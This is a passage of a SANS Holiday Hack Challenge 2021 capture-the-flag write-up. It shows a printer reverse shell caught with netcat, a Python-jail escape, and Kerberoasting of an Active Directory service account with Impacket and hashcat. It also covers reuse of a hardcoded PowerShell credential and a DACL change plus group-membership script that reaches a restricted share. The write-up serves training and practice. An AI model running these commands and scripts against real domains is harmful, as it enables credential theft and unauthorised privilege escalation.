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","signature":"e0b5855c6dd61ceb1e0ae694e68f16a74adb6f87d1e9e2f78adfee688babcf23","secret_length":16,"algorithm":"SHA256"}
Catch it.
$ sudo nc -vnlp 443
Connection from [redacted]:55308
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
app@hhc21-printer-v2:/app$ whoami
whoami
app
app@hhc21-printer-v2:/app$ cat /var/spool/printer.log
cat /var/spool/printer.log
Documents queued for printing
=============================
Biggering.pdf
Size Chart from https://clothing.north.pole/shop/items/TheBigMansCoat.pdf
LowEarthOrbitFreqUsage.txt
Best Winter Songs Ever List.doc
Win People and Influence Friends.pdf
Q4 Game Floor Earnings.xlsx
Fwd: Fwd: [EXTERNAL] Re: Fwd: [EXTERNAL] LOLLLL!!!.eml
Troll_Pay_Chart.xlsx
Answer: Troll_Pay_Chart.xlsx
Objective 8 - Kerberoasting on an Open Fire
Obtain the secret sleigh research document from the Elf University domain controller. What is the first secret ingredient Santa urges each elf and reindeer to consider for a wonderful holiday season? Start by registering as a student on the ElfU Portal. Find Eve Snowshoes in Santa’s office for hints.
Hints obtained at: HoHo … No - Eve Snowshoes
Another kind of long one, I’m just going to quickly run through my steps. First, we register for an ElfU account on the ElfU portal that is public-facing and provided. Once you register you are provided with a username and password as well as a notification that you may use your account to access the grading system over ssh.
Note: this comment was found in the source of ElfU registration page and it seemed out of place so I am saving it.
<!-- Remember the groups battling to win the karaoke contest earleir this year? I think they were rocks4socks, cookiepella, asnow2021,
v0calprezents, Hexatonics, and reindeers4fears. Wow, good times! -->
Log into the grades system, and then break out of your python shell as follows.
ssh lzzyduihov@grades.elfu.org -p 2222
Ctrl+d
-> triggers EOF,import os
and run commends as needed.os.system('/usr/bin/bash')
We know from our objective description that we are looking for a domain controller.
lzzyduihov@grades:~$ hostname
grades.elfu.local
A quick scan of our domain.
lzzyduihov@grades:~$ nmap -Pn elfu.local
Starting Nmap 7.80 ( https://nmap.org ) at 2022-01-10 20:34 UTC
Nmap scan report for elfu.local (10.128.1.53)
Host is up (0.00076s latency).
rDNS record for 10.128.1.53: hhc21-windows-dc.c.holidayhack2021.internal
Not shown: 988 filtered ports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 4.25 seconds
Checking to see if there are any SPNs we can retreive with our AD creds.
lzzyduihov@grades:~$ GetUserSPNs.py elfu.local/lzzyduihov:Ownimuxdf# -outputfile krb
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
----------------------------------- -------- -------- -------------------------- -------------------------- ----------
ldap/elfu_svc/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-12 13:10:45.203181
ldap/elfu_svc/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-12 13:10:45.203181
ldap/elfu_svc.elfu.local/elfu elfu_svc 2021-10-29 19:25:04.305279 2021-12-12 13:10:45.203181
ldap/elfu_svc.elfu.local/elfu.local elfu_svc 2021-10-29 19:25:04.305279 2021-12-12 13:10:45.203181
lzzyduihov@grades:~$ cat krb
$krb5tgs$23$*elfu_svc$ELFU.LOCAL$elfu.local/elfu_svc*$bc45873c2ddd345de8715f737f26d87a$3e66e996f96cde37fb51354bc3400fa9cf180c0dfbec5db8c06ff1f737e4da8c2f837b2247dbbc9e25a8a29a2489a11f9119986463fa1841127329ef572bd0a2a32be93f2c05c5cec98e1d30cebb6ebc0fd9a8eec4c6a3ed4d8a0e1bdc38105e2bf8f5590b49f577ea99fe0f49fa2ce3a90b3053ec0049e1cee7eeca1e4a8139c3601129dcf1499d7f4d90623525327af3593b972c3a8a55f4beba9573bdf007bba0d30999cab09d19d44669fa208857d6d5fd8678ce4af97384d2449bc91cf41722dccf8bc19d6af44202431c3f8229c30daf8a0f10684afa5bd9a547b71334cde83efbdcad5585e7500a513a9895a1b12f23e8fa4caf3d6c09ebe6aaae62ff9870a214ad83ece8da7d8f0b4f641ad2dceae2bc44e74f1ea4e59f27b11aafe31182c74360f9de539c5ffbfa56f001b8d4737e7791eedbcd59ef1805082c5b00ed65fda7c414454b79d0808adb997bea05e9b92bafef08508bd4fe236595d67904ad74807a17d4490b665974cde9277dc8c178f07d0419e9d57da6a39cc76410c9217fe435c68617ebec7db38c488c951a7b7c3d3ec5b3e56a52898c4e7b17e074a251ae6fca21c7b511e1b6c773f07ad9cde23f68a674f2604656aae8f6e7c2d08dd4d4204a330d3020784c10e670e072700c389a3ff678703b902c0985dab66e48897ae904ff568164e38a9ca46a04dee7332ed8c166e21aff2b6b2b1b46e1e219f78aca1edd463563fea63b9d2105696df42f02e072433c2e3017b1aa6c8ea560c82cd2d28f266e4549bd4114c301d7b087a80a5e8f09f31261ae56cb8e6143cade2c583c77e936d703f39a86a93750365fc38f4deb846b266b9a24a2f00739df0c4ef9ab6b3ea79cb6dd88edc27e7808565a37786c4688dbd653621ae17ec7a5d4ad9cb2f3917ddf06bdb9b43bb172bf703d69765f4f62f14d16b47183b3f50cd1b4f1880cbfe41d691cc2c298e43ddbf0b1fa1de827f09362427c5f20537268e30af29ae2421df951578d85b891f169087d94701262dabcf03de8803e812221e8e2d39a2b6b2805c479bf84fce06730705438ba9c6cd750d80c2676d4593c21a4f0465237d0b6421fff0058482c6c1fc618a1a092b1386f4cc71985ede2ef61b78079ac631d426874d6785b1b7818a7a048b3e6002350a3d6d993ff042e1b6244c4a5d9a313e05459af1268b877765f7b4b74b2ad02f3448c1f8ef86b290d8dadf35eb6bab5294e00513fd6697856cbdf2c4cfc3b3fcdc2d88e63c6424db1c1c2b17348a8686f5cc1d4c25a773ae1c8d65c8f14c646b0a05fc1fdf48e244806dd1fad178256b53b8aed001feadd34b365409efee09b91f7361017537a178187ec4a4f7bbb63d2bb7976aaa570d4d1b9f9957d5bc9561b3a1ef4fedcb4a0599306ccbc778b88f9a21c37f3b286c4088fd4be74a26d87360cbd83416c0862939008323a
After some fumbling, I eventually remembered the strange comment on the ElfU registration page source code. I made a quick wordlist out of that finding and ran hashcat one more time with the oneruletorulethemall.rule
and retrieved a password for the elfu_svc
account.
$ hashcat -m 13100 -a 0 ./krb --potfile-disable -r ./oneruletorulethemall.rule --force -O -w 4 ./pwds
...cut...
elfu_svc:Snow2021!
...cut...
Using the elfu_svc
account to dig around smb shares. This was not a quick process, I spent a lot of time digging against the DC without any results. Eventually, I took a step back and looked for other smb shares on the network and found this one.
lzzyduihov@grades:~$ smbclient -U elfu_svc \\\\172.17.0.3\\elfu_svc_shr
Enter WORKGROUP\elfu_svc's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Dec 2 16:39:42 2021
.. D 0 Sun Dec 12 08:01:44 2021
Get-NavArtifactUrl.ps1 N 2018 Wed Oct 27 19:12:43 2021
Get-WorkingDirectory.ps1 N 188 Wed Oct 27 19:12:43 2021
Stop-EtwTraceCapture.ps1 N 924 Wed Oct 27 19:12:43 2021
create-knownissue-function.ps1 N 2104 Wed Oct 27 19:12:43 2021
PsTestFunctions.ps1 N 52454 Wed Oct 27 19:12:43 2021
StoreIngestionApplicationApi.ps1 N 108517 Wed Oct 27 19:12:43 2021
Compile-ObjectsInNavContainer.ps1 N 4431 Wed Oct 27 19:12:43 2021
Run-ConnectionTestToNavContainer.ps1 N 13856 Wed Oct 27 19:12:43 2021
StoreIngestionIapApi.ps1 N 80725 Wed Oct 27 19:12:43 2021
Test-SdnKnownIssue.ps1 N 4384 Wed Oct 27 19:12:43 2021
Setup-TraefikContainerForNavContainers.ps1 N 9184 Wed Oct 27 19:12:43 2021
Get-NavContainerPlatformVersion.ps1 N 1640 Wed Oct 27 19:12:43 2021
New-NavContainerWizard.ps1 N 926 Wed Oct 27 19:12:43 2021
ContainerHandling.ps1 N 1392 Wed Oct 27 19:12:43 2021
Get-NavContainerPath.ps1 N 2406 Wed Oct 27 19:12:43 2021
Extract-FilesFromStoppedNavContainer.ps1 N 12337 Wed Oct 27 19:12:43 2021
build.ps1 N 1921 Wed Oct 27 19:12:43 2021
SdnRoles.ps1 N 161 Wed Oct 27 19:12:43 2021
Confirm-UserInput.ps1 N 576 Wed Oct 27 19:12:43 2021
CheckHealth_https.ps1 N 1035 Wed Oct 27 19:12:43 2021
Test-SdnKINetworkInterfaceAPIDuplicateMacAddress.ps1 N 3545 Wed Oct 27 19:12:43 2021
UserHandling.ps1 N 954 Wed Oct 27 19:12:43 2021
Copy-FileToNavContainer.ps1 N 2554 Wed Oct 27 19:12:43 2021
AzureVM.ps1 N 204 Wed Oct 27 19:12:43 2021
Get-NavContainerAppInfo.ps1 N 4152 Wed Oct 27 19:12:43 2021
Sort-AppFoldersByDependencies.ps1 N 4949 Wed Oct 27 19:12:43 2021
Get-OvsdbAddressMapping.ps1 N 2790 Wed Oct 27 19:12:43 2021
Convert-Txt2Al.ps1 N 5692 Wed Oct 27 19:12:43 2021
Replace-NavServerContainer.ps1 N 6060 Wed Oct 27 19:12:43 2021
Convert-WindowsImage.ps1 N 41636 Wed Oct 27 19:12:43 2021
Start-NavContainer.ps1 N 1021 Wed Oct 27 19:12:43 2021
Get-BcDatabaseExportHistory.ps1 N 2132 Wed Oct 27 19:12:43 2021
Export-ModifiedObjectsAsDeltas.ps1 N 5307 Wed Oct 27 19:12:43 2021
StoreIngestionFlightingApi.ps1 N 103200 Wed Oct 27 19:12:43 2021
Get-PublicIpReference.ps1 N 2945 Wed Oct 27 19:12:43 2021
HelperFunctions.ps1 N 27213 Wed Oct 27 19:12:43 2021
Set-TraceOutputFile.ps1 N 278 Wed Oct 27 19:12:43 2021
Get-NetworkInterfaceEncapOverheadSetting.ps1 N 3033 Wed Oct 27 19:12:43 2021
Remove-DesktopShortcut.ps1 N 1407 Wed Oct 27 19:12:43 2021
Test-SdnEncapOverhead.ps1 N 3544 Wed Oct 27 19:12:43 2021
Resolve-DependenciesFromAzureFeed.ps1 N 7364 Wed Oct 27 19:12:43 2021
Format-NetshTraceProviderAsString.ps1 N 1611 Wed Oct 27 19:12:43 2021
Add-FontsToNavContainer.ps1 N 2709 Wed Oct 27 19:12:43 2021
Run-AlCops.ps1 N 12613 Wed Oct 27 19:12:43 2021
Remove-CompanyInNavContainer.ps1 N 1613 Wed Oct 27 19:12:43 2021
LabConfig.ps1 N 26968 Wed Oct 27 19:12:43 2021
Wait-NavContainerReady.ps1 N 2757 Wed Oct 27 19:12:43 2021
Bacpac.ps1 N 3574 Wed Oct 27 19:12:43 2021
Encryption.ps1 N 6790 Wed Oct 27 19:12:43 2021
Convert-ModifiedObjectsToAl.ps1 N 5477 Wed Oct 27 19:12:43 2021
Get-NavContainerImageTags.ps1 N 3501 Wed Oct 27 19:12:43 2021
Restore-DatabasesInNavContainer.ps1 N 7167 Wed Oct 27 19:12:43 2021
Get-NavContainerArtifactUrl.ps1 N 1464 Wed Oct 27 19:12:43 2021
NcManagedRoles.ps1 N 145 Wed Oct 27 19:12:43 2021
Flush-ContainerHelperCache.ps1 N 7793 Wed Oct 27 19:12:43 2021
PackageHandling.ps1 N 586 Wed Oct 27 19:12:43 2021
Get-SdnGatewayConfigurationState.ps1 N 5568 Wed Oct 27 19:12:43 2021
Install-NavContainerApp.ps1 N 2723 Wed Oct 27 19:12:43 2021
Get-FormattedDateTimeUTC.ps1 N 171 Wed Oct 27 19:12:43 2021
Get-OvsdbPhysicalPortTable.ps1 N 1510 Wed Oct 27 19:12:43 2021
Sync-NavContainerApp.ps1 N 2533 Wed Oct 27 19:12:43 2021
Invoke-NavContainerCodeunit.ps1 N 3449 Wed Oct 27 19:12:43 2021
OvsdbTable.ps1 N 142 Wed Oct 27 19:12:43 2021
Run-TestsInNavContainer.ps1 N 26196 Wed Oct 27 19:12:43 2021
Get-SdnOvsdbUcastMacRemoteTable.ps1 N 2510 Wed Oct 27 19:12:43 2021
Test-SdnLoadBalancerMuxServiceState.ps1 N 3268 Wed Oct 27 19:12:43 2021
Publish-PerTenantExtensionApps.ps1 N 7981 Wed Oct 27 19:12:43 2021
Generate-SymbolsInNavContainer.ps1 N 3417 Wed Oct 27 19:12:43 2021
New-NavContainer.ps1 N 105949 Wed Oct 27 19:12:43 2021
Test-NavContainer.ps1 N 1722 Wed Oct 27 19:12:43 2021
SoftwareLoadBalancer.Tests.ps1 N 1154 Wed Oct 27 19:12:43 2021
Convert-EtwTraceToTxt.ps1 N 2912 Wed Oct 27 19:12:43 2021
Get-SdnDiagnosticLog.ps1 N 3055 Wed Oct 27 19:12:43 2021
Get-SdnNetworkController.ps1 N 1613 Wed Oct 27 19:12:43 2021
New-NavContainerWindowsUser.ps1 N 1893 Wed Oct 27 19:12:43 2021
Import-DeltasToNavContainer.ps1 N 4161 Wed Oct 27 19:12:43 2021
Set-BcContainerKeyVaultAadAppAndCertificate.ps1 N 5486 Wed Oct 27 19:12:43 2021
BcContainerHelper.ps1 N 323 Wed Oct 27 19:12:43 2021
Repair-NavContainerApp.ps1 N 1775 Wed Oct 27 19:12:43 2021
Create-AadAppsForNav.ps1 N 14383 Wed Oct 27 19:12:43 2021
create-health-function.ps1 N 2409 Wed Oct 27 19:12:43 2021
ConvertTo-HashTable.ps1 N 504 Wed Oct 27 19:12:43 2021
Utilities.Tests.ps1 N 792 Wed Oct 27 19:12:43 2021
ConvertFrom-ExistingSubmission.ps1 N 52597 Wed Oct 27 19:12:43 2021
Get-SdnVfpVmSwitchPort.ps1 N 2445 Wed Oct 27 19:12:43 2021
Create-MyOriginalFolder.ps1 N 3515 Wed Oct 27 19:12:43 2021
Copy-FileFromNavContainer.ps1 N 2321 Wed Oct 27 19:12:43 2021
Test-SdnKIServerHostId.ps1 N 4615 Wed Oct 27 19:12:43 2021
CompanyHandling.ps1 N 268 Wed Oct 27 19:12:43 2021
TenantHandling.ps1 N 1095 Wed Oct 27 19:12:43 2021
Export-NavContainerObjects.ps1 N 7955 Wed Oct 27 19:12:43 2021
Get-GeneralConfigurationState.ps1 N 3654 Wed Oct 27 19:12:43 2021
Get-SdnOvsdbGlobalTable.ps1 N 2437 Wed Oct 27 19:12:43 2021
AppHandling.ps1 N 15788 Wed Oct 27 19:12:43 2021
Test-SdnServerConfigState.ps1 N 3323 Wed Oct 27 19:12:43 2021
Get-NavContainerNavUser.ps1 N 1335 Wed Oct 27 19:12:43 2021
Get-VfpPortRule.ps1 N 5340 Wed Oct 27 19:12:43 2021
VMState.ps1 N 480 Wed Oct 27 19:12:43 2021
TraceLevel.ps1 N 155 Wed Oct 27 19:12:43 2021
Install-AzDevops.ps1 N 1173 Wed Oct 27 19:12:43 2021
Test-SdnProviderAddressConnectivity.ps1 N 2795 Wed Oct 27 19:12:43 2021
Invoke-SdnNetworkControllerStateDump.ps1 N 3096 Wed Oct 27 19:12:43 2021
Clear-SdnWorkingDirectory.ps1 N 1895 Wed Oct 27 19:12:43 2021
Get-SdnProviderAddress.ps1 N 2451 Wed Oct 27 19:12:43 2021
Remove-PSRemotingSession.ps1 N 1764 Wed Oct 27 19:12:43 2021
Export-RegistryKeyConfigDetails.ps1 N 2468 Wed Oct 27 19:12:43 2021
Get-NavContainerImageLabels.ps1 N 3272 Wed Oct 27 19:12:43 2021
Get-AADToolkitApplicationCredentials.ps1 N 1941 Wed Oct 27 19:12:43 2021
basic_template.ps1 N 554 Wed Oct 27 19:12:43 2021
Get-CompanyInNavContainer.ps1 N 1237 Wed Oct 27 19:12:43 2021
CreateVMFleetDisk.ps1 N 5140 Wed Oct 27 19:12:43 2021
NugetTools.ps1 N 14494 Wed Oct 27 19:12:43 2021
Renew-LetsEncryptCertificate.ps1 N 3966 Wed Oct 27 19:12:43 2021
Trace-Output.ps1 N 1895 Wed Oct 27 19:12:43 2021
Test-NetworkInterfaceLocation.ps1 N 2103 Wed Oct 27 19:12:43 2021
PatchParentDisks.ps1 N 3357 Wed Oct 27 19:12:43 2021
Get-LatestAlLanguageExtensionUrl.ps1 N 1882 Wed Oct 27 19:12:43 2021
Get-NavContainerGenericTag.ps1 N 1369 Wed Oct 27 19:12:43 2021
Copy-FileToRemoteComputerWinRM.ps1 N 2571 Wed Oct 27 19:12:43 2021
Start-EtwTraceSession.ps1 N 2605 Wed Oct 27 19:12:43 2021
Scenario.ps1 N 19420 Wed Oct 27 19:12:43 2021
DownloadLatestCUs.ps1 N 5194 Wed Oct 27 19:12:43 2021
Test-SdnKIVMNetAdapterDuplicateMacAddress.ps1 N 3826 Wed Oct 27 19:12:43 2021
New-WorkingDirectory.ps1 N 623 Wed Oct 27 19:12:43 2021
Get-BestGenericImageName.ps1 N 9616 Wed Oct 27 19:12:43 2021
Download-Artifacts.ps1 N 11042 Wed Oct 27 19:12:43 2021
Confirm-RequiredModulesLoaded.ps1 N 669 Wed Oct 27 19:12:43 2021
Get-SdnServiceFabricReplica.ps1 N 4366 Wed Oct 27 19:12:43 2021
GetProcessInfo.ps1 N 699 Wed Oct 27 19:12:43 2021
New-BcDatabaseExport.ps1 N 4133 Wed Oct 27 19:12:43 2021
Get-NavContainerEventLog.ps1 N 1989 Wed Oct 27 19:12:43 2021
Get-SdnEventLog.ps1 N 3610 Wed Oct 27 19:12:43 2021
Disconnect-AADToolkit.ps1 N 372 Wed Oct 27 19:12:43 2021
Get-TraceProviders.ps1 N 2290 Wed Oct 27 19:12:43 2021
TelemetryHelper.ps1 N 14866 Wed Oct 27 19:12:43 2021
Copy-FileFromRemoteComputer.ps1 N 3826 Wed Oct 27 19:12:43 2021
Open-NavContainer.ps1 N 1750 Wed Oct 27 19:12:43 2021
Start-SdnDataCollection.Tests.ps1 N 439 Wed Oct 27 19:12:43 2021
Start-NavContainerAppDataUpgrade.ps1 N 1933 Wed Oct 27 19:12:43 2021
Import-PfxCertificateToNavContainer.ps1 N 3433 Wed Oct 27 19:12:43 2021
Stop-NavContainer.ps1 N 623 Wed Oct 27 19:12:43 2021
settings.ps1 N 682 Wed Oct 27 19:12:43 2021
Start-SdnDataCollection.ps1 N 13843 Wed Oct 27 19:12:43 2021
Invoke-ScriptInNavContainer.ps1 N 5924 Wed Oct 27 19:12:43 2021
Test-SdnGatewayConfigState.ps1 N 3628 Wed Oct 27 19:12:43 2021
Clean-BcContainerDatabase.ps1 N 15832 Wed Oct 27 19:12:43 2021
Publish-NavContainerApp.ps1 N 20064 Wed Oct 27 19:12:43 2021
Test-SdnKIServiceFabricPartitionDatabaseSize.ps1 N 5447 Wed Oct 27 19:12:43 2021
Ensure-LocalAdmin.ps1 N 5044 Wed Oct 27 19:12:43 2021
Get-SdnRoleConfiguration.ps1 N 318 Wed Oct 27 19:12:43 2021
Get-BcEnvironments.ps1 N 1691 Wed Oct 27 19:12:43 2021
Run-AlValidation.ps1 N 35917 Wed Oct 27 19:12:43 2021
UnPublish-NavContainerApp.ps1 N 4137 Wed Oct 27 19:12:43 2021
Move-SdnServiceFabricReplica.ps1 N 4490 Wed Oct 27 19:12:43 2021
updatehosts.ps1 N 5165 Wed Oct 27 19:12:43 2021
Remove-NavContainerTenant.ps1 N 3770 Wed Oct 27 19:12:43 2021
New-CompanyInNavContainer.ps1 N 1762 Wed Oct 27 19:12:43 2021
AzureAD.ps1 N 141 Wed Oct 27 19:12:43 2021
Copy-FileToRemoteComputer.ps1 N 3794 Wed Oct 27 19:12:43 2021
New-NavContainerTenant.ps1 N 5623 Wed Oct 27 19:12:43 2021
41089256 blocks of size 1024. 34212676 blocks available
smb: \>
After spending some time digging through these files I ran across this bit of code that would allow me to authenticat as remote_elf
.
lzzyduihov@grades:~/elfu_share$ cat GetProcessInfo.ps1
$SecStringPassword = "76492d1116743f0423413b16050a5345MgB8AGcAcQBmAEIAMgBiAHUAMwA5AGIAbQBuAGwAdQAwAEIATgAwAEoAWQBuAGcAPQA9AHwANgA5ADgAMQA1ADIANABmAGIAMAA1AGQAOQA0AGMANQBlADYAZAA2ADEAMgA3AGIANwAxAGUAZgA2AGYAOQBiAGYAMwBjADEAYwA5AGQANABlAGMAZAA1ADUAZAAxADUANwAxADMAYwA0ADUAMwAwAGQANQA5ADEAYQBlADYAZAAzADUAMAA3AGIAYwA2AGEANQAxADAAZAA2ADcANwBlAGUAZQBlADcAMABjAGUANQAxADEANgA5ADQANwA2AGEA"
$aPass = $SecStringPassword | ConvertTo-SecureString -Key 2,3,1,6,2,8,9,9,4,3,4,5,6,8,7,7
$aCred = New-Object System.Management.Automation.PSCredential -ArgumentList ("elfu.local\remote_elf", $aPass)
Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-Process } -Credential $aCred -Authentication Negotiate
After copying the credential code, i used it to establish a remote powershell session on the DC.
PS /home/lzzyduihov/elfu_share> $s = New-PSSession -ComputerName elfu.local -Credential $aCred -Authentication Negotiate
PS /home/lzzyduihov/elfu_share> Enter-PSSession $s
[elfu.local]: PS C:\Users\remote_elf\Documents>
After digging around the DC with basic enumeration commands like get-aduser
, get-adgroup
, etc. I noticed there was a group called Research Department
. Checking the security of this object it appears we have access to modify group. So I granted my personal user account GenericAll
access to this group by building and executing a script block.
PS /home/lzzyduihov/elfu_share> $sb = {
>> Add-Type -AssemblyName System.DirectoryServices
>> $ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
>> $username = "lzzyduihov"
>> $nullGUID = [guid]'00000000-0000-0000-0000-000000000000'
>> $propGUID = [guid]'00000000-0000-0000-0000-000000000000'
>> $IdentityReference = (
>> New-Object System.Security.Principal.NTAccount("elfu.local\$username")
>> ).Translate([System.Security.Principal.SecurityIdentifier])
>> $inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
>> $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule (
>> $IdentityReference,
>> ([System.DirectoryServices.ActiveDirectoryRights] "GenericAll"),
>> ([System.Security.AccessControl.AccessControlType] "Allow"),
>> $propGUID, $inheritanceType, $nullGUID
>> )
>> $domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
>> $secOptions = $domainDirEntry.get_Options()
>> $secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl
>> $domainDirEntry.RefreshCache()
>> $domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)
>> $domainDirEntry.CommitChanges()
>> $domainDirEntry.Dispose()
>> }
PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock $sb -Credential $aCred -Authentication Negotiate
Now we check to see if it worked.
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString
$domainDirEntry.get_ObjectSecurity().Access | Where-Object IdentityReference -like *lzz*
ActiveDirectoryRights : GenericAll
InheritanceType : None
ObjectType : 00000000-0000-0000-0000-000000000000
InheritedObjectType : 00000000-0000-0000-0000-000000000000
ObjectFlags : None
AccessControlType : Allow
IdentityReference : ELFU\lzzyduihov
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
Now we can use our own account to add ourselves to the Research Department
group.
$sb = {
Add-Type -AssemblyName System.DirectoryServices
$ldapConnString = "LDAP://CN=Research Department,CN=Users,DC=elfu,DC=local"
$username = "lzzyduihov"
$password = "Ownimuxdf#"
$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $password
$user = New-Object System.Security.Principal.NTAccount("elfu.local\$username")
$sid = $user.Translate([System.Security.Principal.SecurityIdentifier])
$b = New-Object byte[] $sid.BinaryLength
$sid.GetBinaryForm($b,0)
$hexSID = [BitConverter]::ToString($b).Replace('-','')
$domainDirEntry.Add("LDAP://<SID=$hexSID>")
$domainDirEntry.CommitChanges()
$domainDirEntry.Dispose()
}
PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock $sb -Credential $aCred -Authentication Negotiate
PS /home/lzzyduihov/elfu_share> Invoke-Command -ComputerName 10.128.1.53 -ScriptBlock { Get-ADUser lzzyduihov -Properties MemberOf } -Credential $aCred -Authentication Negotiate
PSComputerName : 10.128.1.53
RunspaceId : 84265629-eb47-4bf1-a81d-bcd535375b25
DistinguishedName : CN=lzzyduihov,CN=Users,DC=elfu,DC=local
Enabled : True
GivenName :
MemberOf : {CN=Research Department,CN=Users,DC=elfu,DC=local}
Name : lzzyduihov
ObjectClass : user
ObjectGUID : d514466d-c926-4ced-81e6-115b9cfaeeba
SamAccountName : lzzyduihov
SID : S-1-5-21-2037236562-2033616742-1485113978-1580
Surname :
UserPrincipalName : lzzyduihov@elfu.local
I gave it a few minutes to allow our changes to propigate, and then I revisited the research_dep
share I was unable to access the first time I found it.
lzzyduihov@grades:~/elfu_share$ smbclient \\\\172.17.0.3\\research_dep
Enter WORKGROUP\lzzyduihov's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Dec 2 16:39:42 2021
.. D 0 Sun Dec 12 08:01:44 2021
SantaSecretToAWonderfulHolidaySeason.pdf N 173932 Thu Dec 2 16:38:26 2021
41089256 blocks of size 1024. 34428140 blocks available
smb: \> get SantaSecretToAWonderfulHolidaySeason.pdf
getting file \SantaSecretToAWonderfulHolidaySeason.pdf of size 173932 as SantaSecretToAWonderfulHolidaySeason.pdf (84923.6 KiloBytes/sec) (average 84927.7 KiloBytes/sec)
Answer: Kindness
Objective 9 - Splunk
